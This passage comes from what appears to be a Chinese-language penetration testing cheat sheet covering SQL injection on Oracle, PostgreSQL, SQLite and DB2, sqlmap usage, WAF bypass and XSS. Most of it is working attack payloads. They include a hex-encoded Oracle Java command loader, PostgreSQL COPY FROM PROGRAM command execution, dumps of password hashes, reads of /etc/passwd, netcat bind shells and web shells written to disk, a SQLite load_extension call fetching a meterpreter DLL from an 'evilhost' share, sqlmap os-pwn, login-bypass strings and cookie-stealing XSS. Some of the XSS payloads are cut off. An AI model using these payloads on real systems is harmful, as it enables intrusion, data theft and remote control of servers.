utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual /* 执行系统命令 */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; ``` # PostgreSQL **注释符** ``` -- /**/ ``` **版本** ``` SELECT version() ``` **当前用户** ``` SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); ``` **列出用户** ``` SELECT usename FROM pg_user ``` **列出密码哈希** ``` SELECT usename, passwd FROM pg_shadow ``` **列出数据库管理员帐户** ``` SELECT usename FROM pg_user WHERE usesuper IS TRUE ``` **列出权限** ``` SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user ``` **检查当前用户是否为超级用户** ``` SHOW is_superuser; SELECT current_setting('is_superuser'); SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER; ``` **数据库名** ``` SELECT current_database() ``` **列出数据库** ``` SELECT datname FROM pg_database ``` **列出表** ``` SELECT table_name FROM information_schema.tables ``` **列出字段** ``` SELECT column_name FROM information_schema.columns WHERE table_name='data_table' ``` **基于报错类型** ``` ,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC) ,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)-- ,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC) ' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1 ' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1 ' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1 XML Helper select query_to_xml('select * from pg_user',true,true,''); -- 将所有结果作为单行xml 返回 select database_to_xml(true,true,''); -- 以XML形式列出当前数据库 select database_to_xmlschema(true,true,''); -- 以XML schema形式列出当前数据库 ``` **盲注** ``` ' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK ' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO ``` **基于时间盲注** ``` AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ``` **堆查询** ``` 使用分号“;” 添加另一个查询 http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));-- ``` **读取文件** ``` select pg_ls_dir('./'); select pg_read_file('PG_VERSION', 0, 200); select pg_read_file('postgresql.auto.conf',0,100); 行数早期版本不接受pg_read_file或pg_ls_dir中的绝对路径，新版本允许超管和在default_role_read_server_files组的用户读文件 CREATE TABLE temp(t TEXT); COPY temp FROM '/etc/passwd'; SELECT * FROM temp limit 1 offset 0; SELECT lo_import('/etc/passwd'); SELECT lo_get(16420); SELECT * from pg_largeobject; ``` **列目录** ``` select pg_ls_dir('/etc'); ``` **写文件** ``` CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); insert into shell values($$$$); SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab'; 或 COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab'; copy (select '') to '/var/www/html/shell.php'; SELECT lo_from_bytea(43210, 'your file data goes in here'); SELECT lo_put(43210, 20, 'some other data'); SELECT lo_export(43210, '/tmp/testexport'); ``` **命令执行** ``` CVE-2019–9193 DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function SELECT * FROM cmd_exec; -- [Optional] View the results DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table 使用 libc.so.6 CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); ``` **bypass 过滤器** ``` 使用 CHR SELECT CHR(65)||CHR(66)||CHR(67); 版本>8 PostgreSQL使用$符合 SELECT $$This is a string$$ SELECT $TAG$This is another string$TAG$ ``` # SQLite **注释符** ``` -- /**/ ``` **版本** ``` select sqlite_version(); ``` **字符型注入 - 获取数据库结构** ``` SELECT sql FROM sqlite_schema ``` **整数/字符串型 - 提取表名** ``` SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' 使用limit X+1 offset X，提取所有表 ``` **整数/字符串型 - 提取列名** ``` SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name' SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name' ``` **布尔类型 - 计算表数量** ``` and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table ``` **布尔类型 - 枚举表名** ``` and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number ``` **布尔类型 - 获取数据** ``` and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char') ``` **时间类型** ``` AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` **远程执行命令 - ATTACH DATABASE** ``` ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("");-- ``` **远程执行命令 - Load\_extension** ``` UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- 默认情况下，此组件是禁用的 ``` # DB2 **版本** select versionnumber, version\_timestamp from sysibm.sysversions; select service\_level from table(sysproc.env\_get\_inst\_info()) as instanceinfo select getvariable('sysibm.version') from sysibm.sysdummy1 -- (v8+) select prod\_release,installed\_prod\_fullname from table(sysproc.env\_get\_prod\_info()) as productinfo select service\_level,bld\_level from sysibmadm.env\_inst\_info **注释** ``` -- ``` **当前用户** ``` select user from sysibm.sysdummy1 select session_user from sysibm.sysdummy1 select system_user from sysibm.sysdummy1 ``` **列出用户** ``` DB2 使用操作系统帐户 select distinct(authid) from sysibmadm.privileges -- priv required select grantee from syscat.dbauth -- incomplete results select distinct(definer) from syscat.schemata -- more accurate select distinct(grantee) from sysibm.systabauth -- same as previous ``` **列出权限** ``` select * from syscat.tabauth -- shows priv on tables select * from syscat.tabauth where grantee = current user -- shows privs for current user select * from syscat.dbauth where grantee = current user;; select * from SYSIBM.SYSUSERAUTH — List db2 system privilegies ``` **列出 DBA 帐户** ``` select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y' select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = ‘Y’ or SYSADMAUTH = ‘G’ ``` **当前数据库** ``` select current server from sysibm.sysdummy1 ``` **列出数据库** ``` select distinct(table_catalog) from sysibm.tables SELECT schemaname FROM syscat.schemata; ``` **列出列** ``` select name, tbname, coltype from sysibm.syscolumns -- also valid syscat and sysstat ``` **列表表** ``` select table_name from sysibm.tables select name from sysibm.systables ``` **从列名中查找表** ``` select tbname from sysibm.syscolumns where name='username' ``` **选择第 N 行** ``` select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only ``` **选择第 N 个字符** ``` select substr('abc',2,1) FROM sysibm.sysdummy1 -- returns b ``` **按位与/或/非/异或** ``` select bitand(1,0) from sysibm.sysdummy1 -- returns 0. Also available bitandnot, bitor, bitxor, bitnot ``` **ASCII 值** ``` Char select chr(65) from sysibm.sysdummy1 -- returns 'A' ``` **字符 -> ASCII 值** ``` select ascii('A') from sysibm.sysdummy1 -- returns 65 ``` **Cast** ``` select cast('123' as integer) from sysibm.sysdummy1 select cast(1 as char) from sysibm.sysdummy1 ``` **字符串连接** ``` select 'a' concat 'b' concat 'c' from sysibm.sysdummy1 -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1 -- returns 'ab' ``` **避免引用** ``` SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 -- returns “ADRI”. Works without select too ``` **时间延迟** ``` 重查询，例如：如果用户以 ascii 68 ('D') 开头，将执行重查询，延迟响应。但是，如果用户不以 ascii 68 开头，则不会执行繁重的查询，因此响应会更快。 ' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 ``` **序列化为 XML（基于错误）** ``` select xmlagg(xmlrow(table_schema)) from sysibm.tables -- returns all in one xml-formatted string select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) -- Same but without repeated elements select xml2clob(xmelement(name t, table_schema)) from sysibm.tables -- returns all in one xml-formatted string (v8). May need CAST(xml2clob(… AS varchar(500)) to display the result. ``` **命令执行和本地文件访问** ``` 只允许从程序或 UDF 中使用。主机名/IP 和操作系统信息 select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info -- requires priv 数据库文件的位置 select * from sysibmadm.reg_variables where reg_var_name='DB2PATH' -- requires priv 系统配置 select dbpartitionnum, name, value from sysibmadm.dbcfg where name like 'auto_%' -- Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions. select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg ``` # SQLMAP **使用** ``` sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs -p 指定注入点，注入参数 --user-agent 指定user-agent --random-agent 随机user-agent --threads 线程 --risk 风险等级随着等级的增多，增加格式的测试语句 --level 随着level变多，payload增加，运行时间增加，还会测试请求头的注入 --eta 显示每个输出的预计完成时间 --dbms 指定当前数据库类型 --os 指定系统版本 --banner 获取数据库管理系统的标识 --is-dba 测试是否为dba权限 --dbs 列出全部数据库 --current-user 列出当前用户加载请求文件使用手机useragent sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1 ``` **自定义注入点UserAgent/Header/Referer/Cookie** ``` 用*号指定注入点 python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*" ``` **二阶注入** ``` python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` **shell** ``` SQL Shell python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn SSH Shell by dropping an SSH key python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/ ``` **使用 SQLmap 自动爬取网站和利用** ``` sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` **将 TOR 与 SQLmap 一起使用** ``` sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5 ``` **代理** ``` sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080" ``` **使用cookie 和代理** ``` sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3 ``` **使用后缀篡改注入** ``` python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` **使用tamper bypass waf** | Tamper | 描述 | | ---------------------------- | --------------------------------------------------------------------------------- | | 0x2char.py | 用CONCAT(CHAR(),…) 替换每个 (MySQL) 0x 编码字符串 | | apostrophemask.py | 用utf8代替引号 | | apostrophenullencode.py | 绕过过滤双引号，替换字符和双引号 | | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | | base64encode.py | Base64编码 | | between.py | 用between替换大于号（>） | | bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句然后替换=为like | | chardoubleencode.py | 双url编码(不处理已编码的) | | charencode.py | url编码 | | charunicodeencode.py | 字符串 unicode 编码 | | charunicodeescape.py | unicode 转义 | | commalesslimit.py | 无逗号 | | commalessmid.py | 'MID(A, B, C)' 替换为 'MID(A FROM B FOR C)' | | commentbeforeparentheses.py | 括号前的注释 ( -> /\*\*/() | | concat2concatws.py | 'CONCAT(A, B)' 替换为 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | 字符编码 | | charunicodeencode.py | unicode 编码 | | equaltolike.py | 替换等号为like | | escapequotes.py | 转义引号 | | greatest.py | 用GREATEST替换大于号 | | halfversionedmorekeywords.py | 关键字前加注释 | | htmlencode.py | HTML 编码 | | ifnull2casewhenisnull.py | 将 'IFNULL(A, B)' 之类的实例替换为 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' | | ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换像 'IFNULL(A, B)' 这样的实例 | | informationschemacomment.py | 在（MySQL）“information\_schema”标识符的所有出现的末尾添加一个内联注释（/\*\*/） | | least.py | 将大于运算符 ('>') 替换为 'LEAST' 对应项 | | lowercase.py | 用小写值替换每个关键字字符（例如 SELECT -> select） | | modsecurityversioned.py | 包含带有版本化注释的完整查询 | | modsecurityzeroversioned.py | 包含带有零版本注释的完整查询 | | multiplespaces.py | 在 SQL 关键字周围添加多个空格 | | nonrecursivereplacement.py | 双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、”")） filters | | overlongutf8.py | 转换给定有效负载中的所有字符 | | overlongutf8more.py | 将给定负载中的所有字符转换为超长 UTF8（例如 SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94） | | percentage.py | 在每个字符前面添加一个百分号 ('%') | | plus2concat.py | 将加号运算符 ('+') 替换为 (MsSQL) 函数 CONCAT() 对应项 | | plus2fnconcat.py | 将加号运算符 ('+') 替换为 (MsSQL) ODBC 函数 {fn CONCAT()} 对应项 | | randomcase.py | 用随机大小写值替换每个关键字字符 | | randomcomments.py | 为 SQL 关键字添加随机注释 | | securesphere.py | 附加特殊制作的字符串 | | sp\_password.py | 将“sp\_password”附加到有效负载的末尾，以便从 DBMS 日志中自动混淆 | | space2comment.py | 用注释替换空格字符 (' ') | | space2dash.py | 用破折号注释 ('--') 后跟随机字符串和换行符 ('\n') 替换空格字符 ('') | | space2hash.py | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n') | | space2morehash.py | 将空格字符 (' ') 替换为井号字符 ('#')，后跟随机字符串和换行符 ('\n') | | space2mssqlblank.py | 用一组有效替代字符中的随机空白字符替换空格字符 (' ') | | space2mssqlhash.py | 用井号字符 ('#') 后跟换行符 ('\n') 替换空格字符 ('') | | space2mysqlblank.py | 用一组有效替代字符中的随机空白字符替换空格字符 (' ') | | space2mysqldash.py | 用破折号注释 ('--') 后跟换行符 ('\n') 替换空格字符 ('') | | space2plus.py | 将空格字符 (' ') 替换为加号 ('+') | | space2randomblank.py | 用一组有效替代字符中的随机空白字符替换空格字符 (' ') | | symboliclogical.py | 将 AND 和 OR 逻辑运算符替换为对应的符号（&& 和 | | unionalltounion.py | 将 UNION ALL SELECT 替换为 UNION SELECT | | unmagicquotes.py | 将引号字符 (') 替换为多字节组合 %bf%27 以及末尾的通用注释 | | uppercase.py | 用大写值“INSERT”替换每个关键字字符 | | varnish.py | 附加 HTTP 标头“X-originating-IP” | | versionedkeywords.py | 用版本化 MySQL 注释将每个非函数关键字括起来 | | versionedmorekeywords.py | 用版本化的 MySQL 注释将每个关键字括起来 | | xforwardedfor.py | 附加一个虚假的 HTTP 标头“X-Forwarded-For” | **使用账户密码访问数据库** sqlmap.py -d "mysql://user:pass\@ip/database" --dump-all **身份验证绕过 - 万能账户密码** ``` '-' ' ' '&' '^' '*' ' or 1=1 limit 1 -- -+ '="or' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' '-||0' "-||0" "-" " " "&" "^" "*" '--' "--" '--' / "--" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 2 like 2 or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' -- - admin' # admin'/* admin' or '2' LIKE '1 admin' or 2 LIKE 2-- admin' or 2 LIKE 2# admin') or 2 LIKE 2# admin') or 2 LIKE 2-- admin') or ('2' LIKE '2 admin') or ('2' LIKE '2'# admin') or ('2' LIKE '2'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin';-- azer admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 ``` **身份验证绕过（原始 MD5 SHA1）** ``` 当密码为MD5加密是查询语句是这样的 "SELECT * FROM admin WHERE pass = '".md5($password,true)."'" 绕过方式 md5("ffifdyop", true) = 'or'6�]��!r,��b� sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-! ``` **WAF 绕过** ``` 无空格 ?id=1%09and%091=1%09-- ?id=1%0Dand%0D1=1%0D-- ?id=1%0Cand%0C1=1%0C-- ?id=1%0Band%0B1=1%0B-- ?id=1%0Aand%0A1=1%0A-- ?id=1%A0and%A01=1%A0-- 注释符 ?id=1/*comment*/and/**/1=1/**/-- 括号绕过 ?id=(1)and(1)=(1)-- 更多 ``` | DBMS | ASCII characters in hexadicimal | | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 | ``` 无逗号 LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d 无等号 ?id=1 and substring(version(),1,1)like(5) ?id=1 and substring(version(),1,1)not in(4,3) ?id=1 and substring(version(),1,1)in(4,3) ?id=1 and substring(version(),1,1) between 3 and 4 大小写 ?id=1 AND 1=1# ?id=1 AnD 1=1# ?id=1 aNd 1=1# 运算符 AND -> && OR -> || = -> LIKE,REGEXP, BETWEEN, not < and not > > X -> not between 0 and X WHERE -> HAVING ``` # XSS **确定XSS** ``` 反射型XSS可使用payload: 存储型不适宜alert(1) 更好的替代品 ``` **打COOKIE** ```

Please login to continue

" ``` **XSS+SSRF读取服务器文件** ```

``` **更多PAYLOAD** ``` http://www.xss-payloads.com/payloads-list.html?a#category=all ``` **更多XSS盲打工具** ``` https://github.com/s0md3v/XSStrike https://github.com/epsylon/xsser https://github.com/hahwul/dalfox https://github.com/hahwul/XSpear https://github.com/fcavallarin/domdig ``` **常见payload** ```javascript // Basic payload ipt>alert('XSS')ipt> "> "> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"